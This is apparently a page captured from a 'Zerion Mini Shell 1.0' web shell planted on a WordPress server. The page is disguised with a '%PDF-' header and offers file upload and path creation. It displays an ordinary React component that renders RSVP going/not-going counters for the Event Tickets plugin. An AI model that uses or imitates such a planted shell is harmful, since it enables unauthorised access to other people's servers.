%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/wp-content/plugins/event-tickets/src/modules/blocks/rsvp/counters/
Upload File :
Create Path :
Current File : /var/www/html/higroup/wp-content/plugins/event-tickets/src/modules/blocks/rsvp/counters/template.js

/**
 * External dependencies
 */
import React from 'react';
import PropTypes from 'prop-types';

/**
 * WordPress dependencies
 */
import { __ } from '@wordpress/i18n';

/**
 * Internal dependencies
 */
import { Counter } from '@moderntribe/common/elements';
import './style.pcss';

const RSVPCounters = ( {
	goingCount,
	notGoingCount,
	showNotGoing,
} ) => (
	<div className="tribe-editor__rsvp-container-header__counters">
		<Counter
			className="tribe-editor__rsvp-container-header__going-counter"
			count={ goingCount }
			label={ __( 'Going', 'event-tickets' ) }
		/>
		{ showNotGoing && (
			<Counter
				className="tribe-editor__rsvp-container-header__not-going-counter"
				count={ notGoingCount }
				label={ __( 'Not going', 'event-tickets' ) }
			/>
		) }
	</div>
);

RSVPCounters.propTypes = {
	goingCount: PropTypes.number,
	notGoingCount: PropTypes.number,
	showNotGoing: PropTypes.bool,
};

export default RSVPCounters;

Zerion Mini Shell 1.0